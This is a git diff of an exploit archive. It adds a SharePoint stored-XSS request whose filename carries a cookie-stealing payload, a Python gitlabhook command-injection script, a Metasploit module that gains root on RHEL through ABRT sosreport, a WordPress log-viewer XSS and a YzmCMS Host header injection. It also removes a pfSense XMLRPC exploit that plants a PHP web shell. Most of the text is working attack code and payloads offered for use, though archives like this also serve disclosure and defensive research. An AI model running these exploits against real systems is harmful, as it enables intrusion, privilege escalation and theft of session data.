diff --git a/exploits/aspx/webapps/47417.txt b/exploits/aspx/webapps/47417.txt new file mode 100644 index 000000000..e7a6b7547 --- /dev/null +++ b/exploits/aspx/webapps/47417.txt @@ -0,0 +1,177 @@ +# Exploit Title: Microsoft SharePoint 2013 SP1 - 'DestinationFolder' Persistent Cross-Site Scripting +# Author: Davide Cioccia +# Discovery Date: 2019-09-25 +# Vendor Homepage: https://www.microsoft.com +# Software Link: https://support.microsoft.com/en-us/help/2880552/description-of-microsoft-sharepoint-server-2013-service-pack-1-sp1 +# Tested Version: SP1 +# Tested on: Microsoft Windows Server 2016 +# CVE: CVE-2019-1262 +# Advisory ID: ZSL-2019-5533 +# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5533.php +# MSRC: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1262 + +Vendor: Microsoft Corporation +Product web page: https://www.microsoft.com +Affected version: 2013 SP1 + +Summary: SharePoint is a web-based collaborative platform that +integrates with Microsoft Office. Launched in 2001, SharePoint +is primarily sold as a document management and storage system, +but the product is highly configurable and usage varies substantially +among organizations. + +Desc: A cross-site-scripting (XSS) vulnerability exists when Microsoft +SharePoint Server does not properly sanitize a specially crafted web +request to an affected SharePoint server. An authenticated attacker +could exploit the vulnerability by sending a specially crafted request +to an affected SharePoint server. The attacker who successfully exploited +the vulnerability could then perform cross-site scripting attacks on +affected systems and run script in the security context of the current +user. The attacks could allow the attacker to read content that the +attacker is not authorized to read, use the victim's identity to take +actions on the SharePoint site on behalf of the user, such as change +permissions and delete content, and inject malicious content in the +browser of the user. + +Sharepoint 2013 SP1 allows users to upload files to the platform, but +does not correctly sanitize the filename when the files are listed. An +authenticated user that has the rights to upload files to the SharePoint +platform, is able to exploit a Stored Cross-Site Scripting vulnerability +in the filename. The filename is reflected in the attribute 'aria-label' +of the following HTML tag. + +# PoC request: + + +POST /FOLDER/_layouts/15/Upload.aspx?List={689D112C-BDAA-4B05-B0CB-0DFB36CF0649}&RootFolder=&IsDlg=1 HTTP/1.1 +Host: vulnerable_sharepoint_2013 +Connection: close +Content-Length: 31337 +Cache-Control: max-age=0 +Authorization: Negotiate YIIV9gYGKwYBBQUCo........................JBAq39IdJh3yphI1uHbz/jbQ== +Origin: https://vulnerable_sharepoint_2013.tld +Upgrade-Insecure-Requests: 1 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryewNI1MC6qaHDB50n +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 +Sec-Fetch-Mode: nested-navigate +Sec-Fetch-User: ?1 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 +Sec-Fetch-Site: same-origin +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9,it-IT;q=0.8,it;q=0.7,nl;q=0.6 +Cookie: ... + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOWebPartPage_PostbackSource" + + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOTlPn_SelectedWpId" + + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOTlPn_View" + +0 +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOTlPn_ShowSettings" + +False +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOGallery_SelectedLibrary" + + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOGallery_FilterString" + + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOTlPn_Button" + +none +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="__EVENTTARGET" + +ctl00$PlaceHolderMain$ctl00$RptControls$btnOK +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="__EVENTARGUMENT" + + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOSPWebPartManager_DisplayModeName" + +Browse +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOSPWebPartManager_ExitingDesignMode" + +false +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOWebPartPage_Shared" + + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOLayout_LayoutChanges" + + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOLayout_InDesignMode" + + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOSPWebPartManager_OldDisplayModeName" + +Browse +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOSPWebPartManager_StartWebPartEditingName" + +false +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="MSOSPWebPartManager_EndWebPartEditing" + +false +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="_maintainWorkspaceScrollPosition" + +0 +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="__REQUESTDIGEST" + +[DIGEST] + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="__VIEWSTATE" + +[VIEWSTATE] + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="__VIEWSTATEGENERATOR" + +E6912F23 +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="__SCROLLPOSITIONX" + +0 +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="__SCROLLPOSITIONY" + +0 +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="__EVENTVALIDATION" + + + +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="destination" + +[DESTINATION_FOLDER] +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="ctl00$PlaceHolderMain$ctl01$ctl04$InputFile"; filename="' onmouseover=alert(document.cookie) '.jpg" +Content-Type: image/jpeg + + +ZSL +------WebKitFormBoundaryewNI1MC6qaHDB50n +Content-Disposition: form-data; name="ctl00$PlaceHolderMain$ctl01$ctl04$OverwriteSingle" + +on +------WebKitFormBoundaryewNI1MC6qaHDB50n-- \ No newline at end of file diff --git a/exploits/json/webapps/47420.txt b/exploits/json/webapps/47420.txt new file mode 100644 index 000000000..19dd79474 --- /dev/null +++ b/exploits/json/webapps/47420.txt @@ -0,0 +1,18 @@ +# Exploit Title: NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution +# Date: 2019-09-13 +# Exploit Author: Semen Alexandrovich Lyhin +# Vendor Homepage: https://www.npmjs.com/package/gitlabhook +# Version: 0.0.17 +# Tested on: Kali Linux 2, Windows 10. +# CVE : CVE-2019-5485 + +#!/usr/bin/python + +import requests + +target = "http://TARGET:3420" +cmd = r"touch /tmp/poc.txt" +json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd +r = requests.post(target, json) + +print "Done." \ No newline at end of file diff --git a/exploits/linux/local/47421.rb b/exploits/linux/local/47421.rb new file mode 100755 index 000000000..a4aabd75e --- /dev/null +++ b/exploits/linux/local/47421.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ABRT sosreport Privilege Escalation', + 'Description' => %q{ + This module attempts to gain root privileges on RHEL systems with + a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured + as the crash handler. + + `sosreport` uses an insecure temporary directory, allowing local users + to write to arbitrary files (CVE-2015-5287). This module uses a symlink + attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path + in `/proc/sys/kernel/modprobe`, resulting in root privileges. + + Waiting for `sosreport` could take a few minutes. + + This module has been tested successfully on: + + abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and + abrt 2.1.11-19.el7 on RHEL 7.1 x86_64. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rebel', # Discovery and sosreport-rhel7.py exploit + 'bcoles' # Metasploit + ], + 'DisclosureDate' => '2015-11-23', + 'Platform' => ['linux'], + 'Arch' => + [ + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Targets' => [[ 'Auto', {} ]], + 'References' => + [ + ['BID', '78137'], + ['CVE', '2015-5287'], + ['EDB', '38832'], + ['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'], + ['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'], + ['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837'] + ] + )) + register_options [ + OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600']) + ] + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ] + end + + def base_dir + datastore['WritableDir'] + end + + def timeout + datastore['TIMEOUT'] + end + + def check + kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern' + unless kernel_core_pattern.include? 'abrt-hook-ccpp' + vprint_error 'System is not configured to use ABRT for crash reporting' + return CheckCode::Safe + end + vprint_good 'System is configured to use ABRT for crash reporting' + + if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive' + vprint_error 'abrt-ccp service not running' + return CheckCode::Safe + end + vprint_good 'abrt-ccpp service is running' + + # Patched in 2.1.11-35.el7 + pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s + abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1] + if abrt_version.blank? + vprint_status 'Could not retrieve ABRT package version' + return CheckCode::Safe + end + unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7') + vprint_status "ABRT package version #{abrt_version} is not vulnerable" + return CheckCode::Safe + end + vprint_good "ABRT package version #{abrt_version} is vulnerable" + + unless command_exists? 'python' + vprint_error 'python is not installed' + return CheckCode::Safe + end + vprint_good 'python is installed' + + CheckCode::Appears + end + + def upload_and_chmodx(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + chmod path + register_file_for_cleanup path + end + + def exploit + unless check == CheckCode::Appears + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + if is_root? + unless datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + end + + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py') + exe_name = ".#{rand_text_alphanumeric 5..10}" + exe_path = "#{base_dir}/#{exe_name}" + upload_and_chmodx exe_path, exe_data + + payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" + upload_and_chmodx payload_path, generate_payload_exe + + register_file_for_cleanup '/tmp/hax.sh' + + print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..." + output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout + output.each_line { |line| vprint_status line.chomp } + end +end \ No newline at end of file diff --git a/exploits/php/webapps/47413.py b/exploits/php/webapps/47413.py deleted file mode 100755 index 355481786..000000000 --- a/exploits/php/webapps/47413.py +++ /dev/null @@ -1,167 +0,0 @@ -# Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection -# Date: 23/09/2018 -# Author: Nassim Asrir -# Vendor Homepage: https://www.pfsense.org/ -# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/ -# CVE: CVE-2019-16701 -# Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3 -###################################################################################################### - -1 : About Pfsense: -================== - -pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more. - -2 : Technical Analysis: -======================= - -The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands. - -XMLRPC methods: - -pfsense.exec_shell -pfsense.exec_php -pfsense.filter_configure -pfsense.interfaces_carp_configure -pfsense.backup_config_section -pfsense.restore_config_section -pfsense.merge_config_section -pfsense.merge_installedpackages_section_xmlrpc -pfsense.host_firmware_version -pfsense.reboot -pfsense.get_notices -system.listMethods -system.methodHelp -system.methodSignature - -As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php. - -2 : Static Analysis: -==================== - -In the static analysis we will analysis the xmlrpc.php file. - -Line (73 - 82) - -This code check if the user have enough privileges. - -$user_entry = getUserEntry($username); - /* - * admin (uid = 0) is allowed - * or regular user with necessary privilege - */ - if (isset($user_entry['uid']) && $user_entry['uid'] != '0' && - !userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) { - log_auth("webConfigurator authentication error for '" . - $username . "' from " . $this->remote_addr . - " not enough privileges"); - - -Line (137 - 146) - -This part of code is the interest for us. - -As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code). - - public function exec_php($code) { - $this->auth(); - - eval($code); - if ($toreturn) { - return $toreturn; - } - - return true; - } - -Line (155 - 160) - -In this part of code also we have a check for auth then the execution for ($code) - - public function exec_shell($code) { - $this->auth(); - - mwexec($code); - return true; - } - -3 - Exploit: -============ - -#!/usr/bin/env python - -import argparse -import requests -import urllib2 -import time -import sys -import string -import random - -parser = argparse.ArgumentParser() -parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1") -parser.add_argument("--password", help = "pfsense Password") -args = parser.parse_args() - -rhost = args.rhost -password = args.password -print "" - -print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection" -print "" -print "[+] Author: Nassim Asrir" -print "" - -command = "" -command += "" -command += "pfsense.host_firmware_version" -command += "" -command += ""+password+"" -command += "" -command += "" - -stage1 = rhost + "/xmlrpc.php" - -page = urllib2.urlopen(stage1, data=command).read() - -print "[+] Checking Login Creds" - - -if "Authentication failed" in page: - - print "[-] Wrong password :(" - sys.exit(0) -else: - - random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)]) - - print "[+] logged in successfully :)" - print "[+] Generating random file "+random+".php" - print "[+] Sending the exploit ....." - - - command = "" - command += "" - command += "pfsense.exec_php" - command += "" - command += ""+password+"" - command += "exec('echo \\'
\\' > /usr/local/www/"+random+".php');" - command += "" - command += "" - -stage1 = rhost + "/xmlrpc.php" - -page = urllib2.urlopen(stage1, data=command).read() - -final = rhost+"/"+str(random)+".php" - -check = urllib2.urlopen(final) - -print "[+] Checking ....." - -if check.getcode() == 200: - - print "[+] Yeah! You got your shell: " + final+"?cmd=id" -else: - - print "[+] Sorry :( Shell not found check the path" \ No newline at end of file diff --git a/exploits/php/webapps/47419.txt b/exploits/php/webapps/47419.txt new file mode 100644 index 000000000..900a69721 --- /dev/null +++ b/exploits/php/webapps/47419.txt @@ -0,0 +1,41 @@ +# Exploit Title: WP Server Log Viewer 1.0 - 'logfile' Persistent Cross-Site Scripting +# Date: 2019-09-10 +# Exploit Author: strider +# Software Link: https://github.com/anttiviljami/wp-server-log-viewer +# Version: 1.0 +# Tested on: Debian 10 Buster x64 / Kali Linux +# CVE : None + +====================================[Description]==================================== +This plugin allows you to add logfiles via wp-admin. The problem here is that the file paths are stored unfiltered/unescaped. This gives the possibility of a persistent XSS attack. + + +====================================[Codepart]==================================== + +if( isset( $_GET['action'] ) && 'new' === $_GET['action'] && isset( $_GET['logpath'] ) ) { + // new log was added + $logs = get_option( 'server_logs' ); + if( is_null( $logs ) ) { + $logs = []; + } + + $log = trim( $_GET['logpath'] ); //only trimmed string no escaping + $logs[] = $log; //here the log will be added without security checks + $logs = array_values( $logs ); + + $index = array_search( $log, $logs ); + + update_option( 'server_logs', $logs ); + + wp_safe_redirect( admin_url('tools.php?page=wp-server-log-viewer&log=' . $index) ); + } + + + +====================================[Proof of Concept]==================================== +Add new log file to the plugin. +paste this exploit into the form and submit it. + +log.txt + +It tries to render an image and triggers the onerror event and prints the cookie. in the tab you see the log.txt \ No newline at end of file diff --git a/exploits/php/webapps/47422.txt b/exploits/php/webapps/47422.txt new file mode 100644 index 000000000..f4f2361b4 --- /dev/null +++ b/exploits/php/webapps/47422.txt @@ -0,0 +1,83 @@ +# Exploit Title: YzmCMS 5.3 - 'Host' Header Injection +# Exploit Author: Debashis Pal +# Vendor Homepage: http://www.yzmcms.com/ +# Source: https://github.com/yzmcms/yzmcms +# Version: YzmCMS V5.3 +# CVE : N/A +# Tested on: Windows 7 SP1(64bit),XAMPP: 7.3.9 + +#About YzmCMS +============== +YzmCMS is a lightweight open source content management system that uses OOP (Object Oriented) to develop its own framework. + +#Vulnerability +=============== +Host Header Injection. + + +#PoC +===== +#YzmCMS V5.3 Access Path: TARGET/yzmcms/ + +curl http://TARGET/yzmcms/ -H "Host: www.google.com" + +//sample output start + + + + + + YzmCMS - 演示站 + + + + + + + + + + + + +
+
+ +欢迎光临本站！ +
+
+ +
+